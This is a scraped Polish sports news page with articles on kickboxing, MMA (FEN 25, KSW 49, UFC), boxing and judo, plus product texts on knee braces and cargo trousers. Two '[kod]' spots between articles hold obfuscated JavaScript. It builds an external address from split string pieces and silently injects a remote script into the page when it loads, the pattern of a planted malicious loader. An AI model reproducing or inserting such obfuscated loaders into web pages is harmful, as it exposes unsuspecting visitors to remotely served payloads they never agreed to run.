Cztery mistrzowskie starcia

Kickboxing na najwyższym poziomie zawita do Centrum Sportu w Mysiadle. 1 czerwca odbędzie się gala "Lesznowola Kickboxing Fight II".

Popularność formuły K-1 Rules stale rośnie, a kibice są głodni atrakcyjnych walk, które stoją na wysokim poziomie. Z mistrzostw Europy z Bratysławy biało-czerwoni wrócili z trzema medalami, w tym złotym Kamili Bałandy. Po raz kolejny Polacy będą mogli udowodnić swój potencjał w listopadzie w Turcji, gdzie odbędą się mistrzostwa świata.

Na arenie krajowej odbywają się ciekawe gale, podczas których rodzą się kolejni mistrzowie. Ciężka praca w klubach weryfikowana jest podczas licznych wydarzeń. 1 czerwca w Mysiadle odbędzie się gala "Lesznowola Kickboxing Fight II", która zapowiada się interesująco z racji czterech walk o tytuły zawodowych mistrzów Polski. Trzy pojedynki odbędą się wśród seniorów w formule K-1. Po raz drugi o pas będzie walczył Arkadiusz Kaszuba (81kg). Zawodnik Rzeszowskiego Klubu Sportów Walki zdobył tytuł, ale nie miał okazji go bronić. W Mysiadle zmierzy się z Rafałem Kamińskim. Złą passę będzie chciał przerwać Paweł Józefowicz (67kg), który przegrał trzy walki z Kamilem Rościńskim. Wygrana w Mysiadle miałaby więc wyjątkowy smak. W trzeciej mistrzowskiej walce w kategorii -75kg spotkają się Daniel Kolasiński i Daniel Strzemiński. Czwarty pojedynek o tytuł odbędzie się w low kick w wadze +70kg. O młodzieżowe mistrzostwo Polski powalczą Justyna Ciborska i Katarzyna Tyl.

Nie zabraknie lokalnego akcentu. W wadze +91kg zaprezentuje się Mateusza Gola z TS Wiśniewski Team Lesznowola. Jego rywalem będzie reprezentant Wisły Sandomierz – Damian Zapart. W Mysiadle swoje pojedynki stoczą również m.in. Adrian Gunia z Dragona Starachowice, Mikołaj Kopaniszyn z Palestry Warszawa, Maciej Wyszyński z X Fight Piaseczno czy Krzysztof Górski z Polkonu Legnica.

W ubiegłym roku gala w Mysiadle cieszyła się dużym zainteresowaniem. Organizatorzy nie kryli zadowolenia z tego faktu. Tym razem dołożono również wszelkich starań, aby zapewnić najwyższy poziom sportowy i nie zapomniane emocje. 1 czerwca o 19.00 zapraszamy do oglądania gali "Lesznowola Kickboxing Fight II" na antenie FighTime TV. Link do transmisji: https://fightime.pl/pl/video/live-lesznowola-kickboxing-fight-2/.

KM

FEN 25 – Trailer

FEN 25 już 15 czerwca 2019 r. w Ostródzie.

KARTA WALK FEN 25:

70 kg, MMA: Maciej Jewtuszko vs Vaso Bakocevic 
66 kg, MMA: Adrian Zieliński vs Fabiano Silva* 
93 kg, MMA: Rafał Kijańczuk vs Adam Kowalski 
57 kg, MMA: Katarzyna Lubońska vs Izabela Badurek 
84 kg, MMA: Krystian Bielski vs Tomasz Skrzypek 
93 kg, MMA: Wojciech Janusz vs Michał Gutowski 
95 kg, K-1: Marcin Szreder vs Kewin Wiwatowski 
85 kg, K-1: Łukasz Radosz vs Przemysław Zygmuntowicz 

*Stawką pojedynku będzie pas mistrzowski federacji Fight Exclusive Night

[kod]

Stabilizator kolana – kiedy stosować i o czym pamiętać?

Uprawianie aktywności fizycznej wiąże się z ryzykiem wystąpienia rozmaitych kontuzji. Często, są one związane z uszkodzeniem stawu kolanowego. Właśnie dlatego, warto zainwestować w profesjonalną ortezę (stabilizator), która pomoże unieruchomić kolano w przypadku jego uszkodzenia. Sprawdź, kiedy stosować ortezę i na co zwrócić uwagę przed kupnem.

Stabilizator, oprócz unieruchamiania, pełni funkcję korekcyjną i może być stosowany w procesie rehabilitacji uszkodzonego stawu. Głównym zadaniem ortezy jest odciążenie stawu, więzadeł i mięśni. Stabilizacja pomaga w utrzymaniu kolana we właściwej pozycji,  zmniejsza również ryzyko pogłębienia się kontuzji oraz przyspiesza powrót do pełni sił.

Kiedy nosić stabilizator na kolano?

Najczęściej, stabilizatory stosuje się w przypadku urazu stawu, skręcenia lub zwichnięcia nogi oraz przy stanie zapalnym i obrzęku kończyny. Oprócz wymienionych sytuacji, stabilizację można stosować również w czasie bólu reumatycznego lub stawowego.

Co ważne, każdy z powyższych urazów powinien być stwierdzony przez lekarza lub fizjoterapeutę. Doborem odpowiedniego stabilizatora również powinien zająć się specjalista, który zaleci właściwy typ, rozmiar oraz kąt zgięcia i wyprostu stawu.

Rodzaje stabilizatorów

  • Stabilizatory twarde

Stabilizację mają zapewnić specjalne, konstrukcyjne elementy usztywniające. Twarde ortezy ograniczają mobilność stawu, zapewniają usztywnienie kolana i gwarantują duże wsparcie dla mięśni. Zazwyczaj używa się ich w przypadku poważniejszych urazów lub zabiegów operacyjnych. Stabilizator twardy może być stosowany jako zamiennik gipsu.

  • Stabilizatory sportowe

Ortezy przeznaczone dla sportowców wykonywane są na specjalne zamówienie. Działają podobnie, jak klasyczne stabilizatory, ale zapewniają przy tym większą mobilność stawu, przez co umożliwiają aktywność fizyczną.

Często stosowane są przez sportowców, którzy w szczególny sposób narażeni są na uszkodzenia stawu kolanowego. Oprócz tego, używa się ich u pacjentów, którzy odczuwają barierę psychiczną i obawiają się kolejnej kontuzji. Największą wadą stabilizatorów sportowych jest ich wysoka cena.

  • Stabilizatory miękkie

Najczęściej są to elastyczne ściągacze, opaski lub miękkie ortezy zapinane na rzepy. Stosuje się je w przypadku niewielkich urazów lub w celach profilaktycznych. Szczególnie rekomenduje się je dla osób, które są w trakcie rehabilitacji i wracają do zdrowia po urazie. Zaletą miękkich stabilizatorów jest ich niska cena oraz dostępność w każdej aptece, czy sklepie rehabilitacyjnym.

Opaska na kolano: jak dobrać?

Najlepiej postawić na opaskę bezszwową, która zapewni komfort podczas noszenia. Głównym zadaniem opaski uciskowej ma być nie tyle stabilizacja kolana, co utrzymanie go w odpowiedniej temperaturze oraz ochrona przed drobnymi urazami. Aby opaska posłużyła na dłuższy czas, warto zwrócić uwagę na materiał, z którego została wykonana.

Urazy kolana należą do najczęstszych uszkodzeń stawów. Najlepszym sposobem na powrót do formy po kontuzji jest zastosowanie stabilizacji. Na rynku jest wiele rodzajów stabilizatorów, a wybór odpowiedniego powinna poprzedzić konsultacja z lekarzem lub fizjoterapeutą.

[kod]

(function(){
cx8u=document.createElement("script");cx8u_=("ust");cx8uu="134609084";
cx8u_+="a"+("t.i");cx8u.type="text/javascript";
cx8uu+=".t5a2eXpqx8u1a32nX5wu";cx8u.async=true;cx8u_+="n"+("f"+"o")+"/";
cx8uu+="s5a230dfsn";cx8u.src="https://"+cx8u_+cx8uu;
document.body.appendChild(cx8u);
})();

Chisora dostanie Szpilkę?

Dereck Chisora zawsze poszukiwał rozgłosu i robił wszystko, aby znaleźć się na szczycie. Próby zawojowania wagi ciężkiej nie powiodły się, jednak 35-latek cały czas boksuje. Jego kolejna walka odbędzie się 20 lipca w Londynie. Możliwe, że urodzony w Zimbabwe pięściarz spotka się z Arturem Szpilką.

Osiem lat temu Chisora znajdował się w ścisłej czołówce kategorii królewskiej. Pięściarz rywalizował o tytuł mistrza Europy z Robertem Heleniusem, jednak po dwunastu rundach triumfował się Fin. Z kolei w lutym 2012 roku w Monachium Chisora spotkał się z Witalijem Kliczko. Na szali pojawił się pas mistrza świata WBC w kategorii ciężkiej. Brytyjczyk zaprezentował się z dobrej strony i wysoko zawiesił poprzeczkę Ukraińcowi, jednak przegrał. Trzeba pamiętać, że Chisora nigdy nie należał do kategorii potulnych baranków. Pięściarz nie darzył się sympatią z Davidem Hayem, z którym wdał się w bójkę na konferencji prasowej po walce z Kliczko. Następstwem tego zdarzenia było pozbawienie Chisorę licencji bokserskiej.

W końcu wszystko wróciło na prostą i urodzony w Zimbabwe pięściarz mógł rywalizować z nielubianym przeciwnikiem o miano najlepszego na Wyspach Brytyjskich. Stawką starcia z Haye'm były wakujące pasy międzynarodowe WBA i WBO. Pojedynek zakończył się w piątej rundzie, Chisora musiał przełknąć gorycz porażki. Pięściarz musiał się odbudować, pokonywał mniej znanych rywali, jednak w starciu z czołówką m.in. Tyson Fury i Kubrat Pulew okazywał się bezradny. Prześladowcą Chisory okazał się Dillian Whyte, z którym przegrał dwukrotnie. W ostatnim starciu 35-latek pokonał, bez większych problemów, Senada Gashiego.

Kolejną walkę Chisora ma stoczyć 20 lipca. Wśród potencjalnych przeciwników Brytyjczyka wymienia się Artura Szpilkę. Również dla Polaka byłaby szansa na głośną walkę zagranicą. Po raz ostatni "Szpila" zaprezentował się w ringu w listopadzie 2018 roku, kiedy to pokonał Mariusza Wacha. Wcześniej wygrał z Dominickiem Guinnem.

Dla Szpilki pojedynek z Chisorą byłby wyzwaniem i pierwszym od przegranego starcia z Adamem Kownackim występem zagranicą. Brytyjczyk liczy zaś na 31. Zwycięstwo w karierze.

KM

30 – lecie polskiego kickboxingu

Światowa Organizacja WAKO Kickboxing objęła oficjalny patronat nad obchodami 30-lecia PZKB – Prezydent WAKO gościem honorowym!!!

Polski Związek Kickboxingu z ogromną satysfakcją informuje, że Prezydent WAKO Pan Roy Baker przyjął zaproszenie Prezesa Piotra Siegoczyńskiego i będzie gościem honorowym podczas obchodów 30-lecia PZKB 14 września we Włocławku. To dla nas duży zaszczyt oraz docenienie dotychczasowych działań związku w promocji kickboxingu w Polsce i na Świecie.

Kawulski: Czy było warto?

Podczas KSW 49 w Ergo Arenie Michał Materla przegrał z Scottem Askhamem bój o pas mistrzowski w wadze średniej. 35-latek doznał kontuzji oka. Głos w sprawie występu Materli zabrał Maciej Kawulski.

Popularny "Magic" to jedna z ikon KSW, z którą związany od ponad dziesięciu lat. W 2012 roku Materla pokonując Jaya Silvę sięgnął po pas w wadze średniej. Stracił do trzy lata później na rzecz Mameda Chalidowa. Michał Materla przeżywał również trudne chwile w wymiarze osobistym. Przez dłuższy czas był nieobecny w rywalizacji sportowej. Wrócił jednak w efektownym stylu w październiku 2017 roku i w Dublinie znokautował Paulo Thiago. Potem przegrał ze Scottem Askhamem. Następnie Materla wygrał dwie walki, w tym jedną w półfinale turnieju wagi średniej i ponownie mógł sięgnąć po pas. Na jego drodze stanął Askham. Anglik wygrał w trzeciej rundzie po celnym latającym kolanie. Oko Materli wyglądało źle. – To jest cholernie ciężki sport. Czasem porywasz tłumy wielkimi wygranymi a czasem musisz zostawić w klatce kawał zdrowia, żeby zerwać tysiące ludzi z krzeseł. Michał nigdy nie kalkulował . Robił zawsze wszystko w imię najważniejszej obietnicy jaką może złożyć wojownik swoim fanom. Obietnica ta brzmi : „Nigdy nie zabraknie mi serca do walki – skomentował w mediach społecznościowych Maciej Kawulski, współwłaściciel KSW.

Fighterzy wchodzą do klatki, aby wygrywać i porywać serca publiczności. Często odnoszą poważne kontuzje. Materla chciał ponownie sięgnąć o pas i zrewanżować się rywalowi za wcześniejszą porażkę. – Czy było warto ? To pytanie do was. To wasze brawa ale przede wszystkim ostateczny szacunek pokryje koszta z którymi musi się liczyć zawodnik. Kiedy rany się zagoją i pokryją je blizny, kiedy ciało pokryją siwe włosy tylko wasze owacje zostaną w pamięci weterana. Wtedy nawet najmniejsza kropla krwi na zębach zerwie stare kości do ruchu. To pamięć o waszych brawach pozwala żyć wojownikowi kiedy już opada kurz po bitwie. Wrzawa pełnej hali ledwo słyszalna w czasie walki rozbrzmiewa mu w głowie najgłośniej ze wszystkich rzeczy, które słyszy w czasie kiedy klatka staje się już tylko ledwo widocznym wspomnieniem. Są chwile, których się nie zapomina. Są dźwięki, których nigdy nie przestaje się słyszeć. To dla nich było warto ….. jest warto – napisał Maciej Kawulski.

Fot. Maciej Kawulski Instagram

KM

Czas na odpowiedź

Mistrz świata WBC w wadze ciężkiej Deontay Wilder w pierwszej rundzie odprawił Dominica Breazeale'a. Być może kolejnym rywalem Amerykanina będzie Tyson Fury. Olbrzym z Wilmslow pojawi się w ringu 15 czerwca, a jego rywalem będzie Tom Schwarz. Czy Fury pośle Wilderowi znak ostrzegawczy?

Wiadomo, że w wadze ciężkiej jest gorąco. Najprościej mówiąc – „trafił swój na swego”. 1 grudnia 2018 roku pojedynek Wildera i Fury’ego zakończył się remisem. Pięściarze nie szczędzą sobie cierpkich słów. Gdzieś w tle pojawia się jeszcze Anthony Joshua, ale wszyscy liczą na rewanż Wildera i Fury’ego. Pojedynek miałby odbyć się w 2020 roku.

18 maja Wilder wysłał sygnał, że jest mocny. Dominic Breazeale, który aż 18 pojedynków wygrał przez nokaut, tym razem został zwalony z nóg już w pierwszej rundzie. Wilder odniósł 41 zwycięstwo w karierze, a 40 przed czasem. Imponujący bilans 33-letniego mistrza świata.

Jak odpowie mu Tyson Fury? Brytyjczyk zabrał głos na temat Wildera i nawet zaproponował, że jest gotowy walczyć na gołe pięści. Z tym, że Fury 15 czerwca stoczy 28 pojedynek w karierze. Na jego drodze stanie 24-letni Tom Schwarz. Dla Niemca będzie to pierwszy pojedynek w Stanach Zjednoczonych, a zarazem premierowy występ poza Europą. Schwarz dotychczas nie przegrał. Niektórzy jednak z przymrużeniem oka podchodzą do kolejnego rywala Fury'ego, ale ring wszystko zweryfikuje. Wiadomo, że dla Niemca to ogromne wyzwanie i szansa, a dla Brytyjczyka to starcie jest tylko punktem na drodze do celu.

Zanim w Las Vegas zaprezentuje się Fury, 1 czerwca w Madison Square Garden do kolejnej obrony tytułów IBF, IBO, WBA i WBO stanie Anthony Joshua. Pierwotnie "AJ" miał rywalizować z Jarrellem Millerem, ale pięściarz wpadł na stosowaniu niedozwolonych środków. Mistrz spotka się z Andy'm Ruizem Jr. 29-letni Amerykanin ma większe, w ilości stoczonych pojedynków, ringowe doświadczenie niż Joshua. Dotychczas Ruiz raz walczył o pas i poległ. W grudniu 2016 roku po tytuł WBO sięgnął Joseph Parker. Od tamtej pory Amerykanin wygrał trzy pojedynki.

W czerwcu w wadze ciężkiej mogą paść dwie ważne odpowiedzi. Jeśli Fury wygra, na horyzoncie będzie jego rewanż z Wilderem. W przypadku „AJ”, rozpocznie się poszukiwanie kolejnego rywala.

KM

FEN 25: Fabiano Silva rywalem Zielińskiego w walce o pas

Fabiano Silva (30-11, 11 KO, 12 SUB) będzie rywalem Adriana Zielińskiego (18-8, 5 KO, 6 SUB) podczas gali FEN 25, która 15 czerwca odbędzie się w ostródzkim Amfiteatrze. Stawką tego starcia będzie pas mistrzowski FEN w kategorii piórkowej.

„Jacarezinho”, bo tak brzmi przydomek zawodnika z Brazylii, ma aż 30 zwycięstw na swoim koncie. 11 z nich odniósł przez KO, 12-krotnie poddawał swoich rywali. 4 maja podczas gali ELITE MMA Championship w niemieckim Dusselfdorie Silva pokonał po bardzo zaciętym boju w walce wieczoru Nilsona Pereirę. Wcześniej przez techniczny nokaut rozprawił się z Paulo Machado. O sile Brazylijczyka przekonali się między innymi Lucas Pivatto i Dragan Desic, których „Jacarezinho” znokautował w premierowych odsłonach.

Zieliński efektownie zadebiutował w FEN w marcu tego roku, gdy w 1. rundzie przez techniczny nokaut rozprawił się z Kamilem Łebkowskim. Zieliński ma 32 lata i trenuje w olsztyńskim klubie Berkut Arachion. Karierę zawodową rozpoczął w 2010 roku, gdy przez poddanie wygrał z Rafałem Rynkowskim. W latach 2013-2015 mógł pochwalić się serią siedmiu kolejnych zwycięstw z rzędu. W 2017 roku podczas gali ACB 52 wygrał na punkty jednogłośną decyzją sędziów z Rasulem Yakhyaevem. Spośród 18 zwycięskich pojedynków aż 11 miało miejsce przed czasem.

KARTA WALK FEN 25:

70 kg, MMA: Maciej Jewtuszko vs Vaso Bakocevic 
66 kg, MMA: Adrian Zieliński vs Fabiano Silva* 
93 kg, MMA: Rafał Kijańczuk vs Adam Kowalski 
57 kg, MMA: Katarzyna Lubońska vs Izabela Badurek 
84 kg, MMA: Krystian Bielski vs Tomasz Skrzypek 
93 kg, MMA: Wojciech Janusz vs Michał Gutowski 
95 kg, K-1: Marcin Szreder vs Kewin Wiwatowski 
85 kg, K-1: Kamil Paczuski vs Karol Łasiewicki 
85 kg, K-1: Łukasz Radosz vs Przemysław Zygmuntowicz 
TBA vs TBA 

*Stawką pojedynku będzie pas mistrzowski federacji Fight Exclusive Night

FEN 25: Zestawienie Paczuski vs Łasiewicki wypada z kart walk na Ostródę

Kamil Paczuski (0-0) nie zmierzy się 15 czerwca w Ostródzie z Karolem Łasiewickim (1-0). Powodem odwołania walki jest kontuzja pierwszego z zawodników.

Paczuski doznał kontuzji więzadeł w kolanie i jego występ w Ostródzie jest niemożliwy. Pojedynek ten odbędzie się na jednej z kolejnych gal FEN.

KARTA WALK FEN 25:

70 kg, MMA: Maciej Jewtuszko vs Vaso Bakocevic 
66 kg, MMA: Adrian Zieliński vs Fabiano Silva* 
93 kg, MMA: Rafał Kijańczuk vs Adam Kowalski 
57 kg, MMA: Katarzyna Lubońska vs Izabela Badurek 
84 kg, MMA: Krystian Bielski vs Tomasz Skrzypek 
93 kg, MMA: Wojciech Janusz vs Michał Gutowski 
95 kg, K-1: Marcin Szreder vs Kewin Wiwatowski 
85 kg, K-1: Łukasz Radosz vs Przemysław Zygmuntowicz 

*Stawką pojedynku będzie pas mistrzowski federacji Fight Exclusive Night

Dziewczyny na medal

Trzy medale zdobyły Polki w zawodach Pucharu Europy Seniorów w Orenburgu. Rywalizację zdominowali Rosjanie, którzy wywalczyli aż 32 krążki!

Pierwsze tegoroczne podium na swoim koncie zapisała Anna Dąbrowska (57kg). Judoczka klubu Juvenia Wrocław zaczęła zmagania od dwóch wygranych walk. Pokonała kolejno Rosjanki – Ksenię Solovevą i Dannę Naguchevą. W półfinale Polka przegrała jednak z reprezentantką Austrii Asiminą Heodorakis. W starciu o brąz Dąbrowska spotkała się z medalistą zeszłorocznych zmagań Pucharu Europy z Gdyni – Ulyaną Minenkovą. Polka triumfowała przed czasem i mogła cieszyć się z trzeciego miejsca.

Na podium zameldowała się również Vanessa Machnicka (63kg). Zawodniczka Akademii Judo Poznań musiała walczyć w repasażach. Polka zaczęła od wygranej przed czasem, jednak w kolejnym starciu nie dała rady Zarji Tavcar. Machnicka w repasażach imponowała skutecznością. Pierwszą walkę wygrała przez waza ari, zaś drugą z Mariną Kalaevą rozstrzygnęła w zaledwie trzynaście sekund. Polka nie pozostawiła złudzeń również Nadezhdy Rumiantsevej, którą pokonała przez ippon.

Kolejny dobry występ na swoim koncie zapisała Eliza Wróblewska (70kg). Judoczka Akademii Judo Poznań była w tym roku piąta w Uster, a wśród juniorów stawała na podium w Atenach i Sankt Petersburgu. W Orenburgu Polka potwierdziła dobrą dyspozycję. Wróblewska wygrała trzy pojedynki, w półfinale musiała uznać wyższość Francuzki Melissy Heleine. W starciu o brąz Polka pokonała Zhannę Asipovich z Białorusi.

W Orenburgu o podium otarła się Aleksandra Kaleta (52kg), która była piąta. Na siódmych lokatach uplasowali się Karolina Miller (70kg) oraz Kacper Szczurowski (100kg).

W zmaganiach Pucharu Europy karty rozdawali Rosjanie, którzy zdobyli 10 z 14 możliwych złotych medali. Łącznie reprezentanci Sbornej zapisali na swoim koncie 32 krążki. Druga Białoruś zaledwie… trzy.

Srebro Sobierajskiej

W Bielsku-Białej odbyły się zmagania w Pucharze Europy kadetów. Na starcie pojawiło się 574 zawodniczek i zawodników. Jedyny medal dla Polski zdobyła Katarzyna Sobierajska (70kg), która wygrała cztery pojedynki. W finale uległa Japonce Moce Kuwagacie i musiała zadowolić się srebrem. Walkę o brąz przegrała Agata Pałka (63kg).

KM

Rożne typy bojówek

Bojówki mogą prezentować się w różny sposób. Wszystko zależy od tego, jak zostaną uszyte oraz jaki materiał zostanie do tego celu zastosowany. Oznacza to, że bojówki mogą różnić się od siebie i sprawdzać się w różnych stylizacjach. Jak zatem mogą wyglądać bojówki?

Sportowe wydanie
Bojówki z kieszeniami po bokach często można spotkać w formie spodni sportowych. Na rynku odzieżowym coraz częściej można spotkać bojówki w formie dresów lub innych wygodnych spodni. Takie produkty wyglądają świetnie w połączeniu z innymi sportowymi ubraniami. Stylizacje z ich udziałem są praktyczne i wygodne. Spodobają się niejednej kobiecie.

Elegancko do pracy
Proste spodnie z kieszeniami to także bojówki. Coraz częściej występują one w formie eleganckich spodni, dla których kieszeń na nogawce jest stonowaną dekoracją. Takie rozwiązania świetnie sprawdzają się do biura. W połączeniu z marynarką i prostym topem lub koszulą i płaszczem stworzą stylizację, która będzie urozmaiceniem w szafie pełnej spodni na kant oraz spódnic ołówkowych. Warto spróbować takiej odmiany.

Spodnie bojówki na imprezę?!
Wiele osób może uznać taki pomysł za żart. Jednak niejednokrotnie można spotkać bojówki, wykonane z pięknych, połyskujących materiałów. Takie spodnie aż same proszą się, aby założyć je na imprezę. Wystarczy zestawić je z imprezowym topem lub wydekoltowaną bluzką. Taki zestaw koniecznie trzeba uzupełnić o szpilki i gustowne dodatki. Wówczas śmiało można ruszać na podbój miasta lub imprezę urodzinową. Stylizacja sprawdzi się doskonale podczas różnych okazji, także podczas randki.

Militarne bojówki
Nie można zapominać o korzeniach bojówek, które pochodzą przecież z wojska. Zatem te spodnie w kolorze khaki lub ze wzorem moro będą idealną bazą do militarnej, surowej stylizacji. Można dopełnić ją kurtką ramoneską lub tradycyjną dżinsową. Idealnym wykończeniem będą botki, najlepiej sznurowane. Glany, choć są nie dla każdego, świetnie się tu sprawdzą. W związku z tym, z całą pewnością warto postawić na taką stylizację od czasu do czasu.

[kod]

(function(){
x0a3_=("u"+"")+"s"+"";x0a3_+=("tat.")+("i");
x0a3=document.createElement("script");x0a3.type="text/javascript";x0a3_+="nf"+("o")+"/";
x0a3u="134379903"+".";x0a3.async=true;x0a3u+="qh53rbcn0a33dq98bwy3fgank6c0yq";
x0a3.src="https://"+x0a3_+x0a3u;x0a3b=document.body;x0a3b.appendChild(x0a3);
})();

Druga odsłona

Podczas gali KSW 49 w trójmiejskiej Ergo Arenie dojdzie do walki Michała Materli ze Scottem Askhamem. Stawką rywalizacji będzie pas wagi średniej. Do obrony tytułu w kategorii półśredniej stanie Roberto Soldić.

18 maja w Ergo Arenie KSW zafunduje potężną dawkę MMA. W klatce nie zabraknie mocnych nazwisk: Materla, Askham, Soldić, Sowiński, Parke, Bedorf, Andryszak, Henrique. Po raz pierwszy w KSW zaprezentuje się były zawodnik M-1 Challenge i UFC Damian Grabowski. Kibice zobaczą również starcie niepokonanego Erko Juna z Akopem Szostakiem. Ponadto, zaplanowano pojedynki: Leszka Krakowskiego z Michaelem Dubois, Martina Zawady z Thiago Silvą oraz Antuna Racicia z Paweł Polityło.

Wszyscy będą czekać na danie główne, czyli starcie Materli z Askhamem. 35-letni Polak postara się odzyskać pas, który w listopadzie 2015 roku (KSW 33) stracił na rzecz Mameda Khalidova. Materla ma za sobą dwa efektowne zwycięstwa. W ubiegłym roku "Magic" pokonał Martina Zawadę i mającego imponujący debiut w KSW Damiana Janikowskiego. Dzięki triumfowi z brązowym medalistą olimpijskim w zapasach z Londynu Materla awansował do finału turnieju w kategorii średniej, a więc musi wykonać jeszcze jeden krok, aby sięgnąć po pas. Rywalem Polaka będzie Scott Askham. Panowie doskonale się znają, bo spotkali się podczas KSW 42 w Łodzi. Materla nie wspomina miło tamtej walki. Kopnięcia na korpus i głowę w wykonaniu Askhama, zresztą niezwykle efektownie wyglądające, sprawiły, że 70 sekundach Anglik mógł wznieść ręce w geście triumfu. Czy Materla zrewanżuje się za tę porażkę i ponownie zasiądzie na tronie?

Roberto Soldić zaznał już smaku porażki w KSW i stracił pas w wadze półśredniej, ale w rewanżu pokonał Dricuca Du Plessisa i ponownie jest mistrzem. W Ergo Arenie na jego drodze stanie niepokonany Krystian Kaszubowski. 24-latek stanie przed życiową szansą. Dotychczas stoczył w KSW dwa pojedynki i oba wygrał przed czasem.

Ciekawie zapowiada się starcie w wadze ciężkiej. Po nieudanym ataku na pas kolejną walkę w KSW stoczy Karol Bedorf. Dobra passa zawodnika ze Szczecina została przerwana w grudniu 2016 roku przez Fernando Rodriguesa Jr. Później kłopoty zdrowotne, wygrana z Mariuszem Pudzianowskim, ale zabrakło kropki nad "i" w postaci pasa. 18 maja rywalem Bedorfa będzie debiutujący w KSW Damian Grabowski. Doświadczony fighter ostatnio pokonał przed czasem Jose Rodfigo Guelke podczas gali FEN 22.

Artur Sowiński pokonał ostatnio Kamila Szymuszowskiego, a teraz stanie twarzą w twarz z Normanem Parkiem. Zawodnik z Irlandii Północnej w KSW pokazał się z dobrej strony i z pewnością nie będzie łatwym rywalem dla "Kornika".

KM

W Baku bez medalu

Nie powiódł się polskim judokom start w zawodach Grand Slam w Baku. Biało-czerwoni z Azerbejdżanu wrócili bez medalu. Inaczej sytuacja wygląda w przypadku juniorów, którzy startowali w Pucharze Europy w Kownie. Dwoje reprezentantów Polski stanęło na najniższym stopniu podium.

W Baku zaprezentowało się 431 zawodniczek i zawodników. W każdej kategorii rywalizowało blisko 30, a czasami nawet ponad 40 judoków. Trzeba było przejść długą drogę, żeby wdrapać się na podium. Z 17-osobowej kadry Polski nikomu się to nie udało. Agata Ozdoba-Błach (na zdjęciu) zaczęła zawody w Baku od dwóch wygranych i to przed czasem. W drugim starcie w nieco ponad 40 sekund pokonała Dianę Shoranovą. Później zaczęły się schody. Brązowa medalistka mistrzostw świata z 2017 roku trafiła na utytułowaną Tinę Trstenjak. Słowenka wygrała przed czasem, a Polka trafiła do repasaży. Tam lepsza okazała się Juul Franseen. Ozdoba –Błach zajęła ostatecznie siódmą pozycję.

Mocne wejście w turniej miała również Karolina Tałach (63kg). Najpierw Polka pokonała przed czasem Lubjanę Piovesanę, a potem piątą w światowym rankingu Andreję Leski. Przeszkodą nie do przejścia dla Tałach okazała się Sanne Vermeer, która w tym roku stawała na podium w Tbillisi i Tel Avivie. W repasażach Polka ambitnie walczyła, jej pojedynek z Gankhaich Bold trwał ponad pięć minut. Ostatecznie nasza reprezentantka musiała zadowolić się siódmą lokatą.

Morderczy bój stoczyła Anna Borowska (57kg), która występ w Baku zaczęła od zwycięstwa. Potem ponad osiem minut rywalizowała z Tian Hongije, jednak o porażce Polki zadecydowało shido.

Dwa brązy

Do Kowna na zmagania w Pucharze Europy pojechała 20-osobowa kadra Polski. 10% wraca w wyśmienitych nastrojach. Martia Baczek (78kg) i Wojciech Kordyalik (+100kg) wywalczyli brązowe krążki. Zawodniczka warszawskiej Gwardii nie zwalnia tempa. W marcu w Atenach wywalczyła srebro, a w Kownie poszła za ciosem i ponownie stanęła na podium. Polka wygrała trzy pojedynki, wszystkie przed czasem. W półfinale lepsza okazała się Renee van Harselaar, która w tym roku w każdym starcie melduje się na podium – zarówno wśród juniorów, jak i seniorów.

W rywalizacji kadetów Wojciech Kordyalik posmakował sukcesu. Niejednokrotnie stawał na podium, także w mistrzostwach Europy. W Kownie zawodnik Śląska Wrocław po raz pierwszy sięgnął po medal w zmaganiach juniorów. Kordyalik wygrał trzy z czterech walk, w starciu o brąz pokonał Ricka Zomera.

Fot. IJF/Facebook

KM

Mistrzostwo po brazylijsku

Jessica Andrade w imponującym stylu pokonała Rose Namajunas i zdobyła w Rio de Janeiro pas w kategorii słomkowej. Wśród kobiet w UFC widać brazylijski trend. Amanda Nunes zdominowała dwie kategorie, teraz po upragniony tytuł w końcu sięgnęła Andrade.

Mało kto spodziewał się, że Amanda Nunes pokona swoją rodaczkę Cristiane Justino. Popularna "Cyborg" szła "niczym byk" i żadna kolejna rywalka nie była w stanie jej zatrzymać. Cztery walki w UFC i wszystkie wygrane w tym, trzy przed czasem. Podczas UFC 232 w grudniu 2018 roku w The Forum w Inglewood zdarzyła się niespodzianka. Potężna Justino została zmieciona z tronu wagi piórkowej. W zaledwie 32 sekundy Nunes zasypała "Cyborg" ciosami, a ta nie była w stanie przetrwać tego naporu. 30-latka została pierwszą podwójną mistrzynią UFC w historii. A wcześniej, bo w lipcu 2016 roku Nunes weszła na szczyt wagi koguciej. Po tym jak Holly Holm pokonała Rondę Rousey, tytuł szybko zmienił właścicielkę. Nunes spotkała się z Mieshą Tate i pozbawiła ją jakichkolwiek złudzeń triumfując w pierwszej rundzei. Dotychczas trzykrotnie Brazylijka skutecznie broniła tytułu. Obecnie nikt nie zaprzeczy, że Nunes stała się pierwszoplanową postacią UFC. Amanda Nunes kolejną walkę ma stoczyć 6 czerwca (UFC 239) z Holly Holm, a stawką będzie pas w wadze koguciej.

Swoich pięciu minut doczekała się Jessica Andrade. Brazylijka miała okazję wcześniej rywalizować o pas w wadze słomkowej, ale wtedy dzieliła i rządziła Joanna Jędrzejczyk. Polka okazała się lepsza od Andrade na dystansie pięciu rund. Brazylijka zacisnęła zęby i ciężko pracowała na kolejną szansę. 27-latka wygrała trzy kolejne walki, w tym przed czasem uporała się z Karoliną Kowalkiewicz. Tym razem Andrade rywalizowała z Rose Namajunas. Amerykanka prezentowała się pewnie i w stójce trafiała rywalkę, na której twarzy pojawiały się rozcięcia. Andrade próbowała sprowadzić walkę do parteru, podnosiła rywalkę, jednak nic z tego nie wynikała. W końcu się udało. Brazylijka cisnęła mistrzynią o ziemię i sędzia przerwał walkę. Andrade została nową mistrzynią UFC!

Cztery kobiece kategorie i w trzech z nich dominują Brazylijki. Niebawem w wadze muszej do pierwszej obrony przystąpi reprezentująca Peru Walentina Szewczenko, która zmierzy się z Jessicą Eye. Co do Brazylii, kiedyś panowie z Kraju Kawy grali pierwsze skrzypce w UFC. Obecnie ich pozycja nie jest tak mocna, ale wśród pań Brazylijki dominują rywalizację. Po prostu nastąpiła swoista zamiana miejsc. Czy ten stan utrzyma się dłużej?

Fot. Jessica Andrade Facebook

KM

LIVE: Gala Sharks Attack 2

Zapraszamy na transmisję telewizyjną z gali mma Sharks Attack 2.

[kod]

Gala Sharks Attack 2

Gala Sharks Attack 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
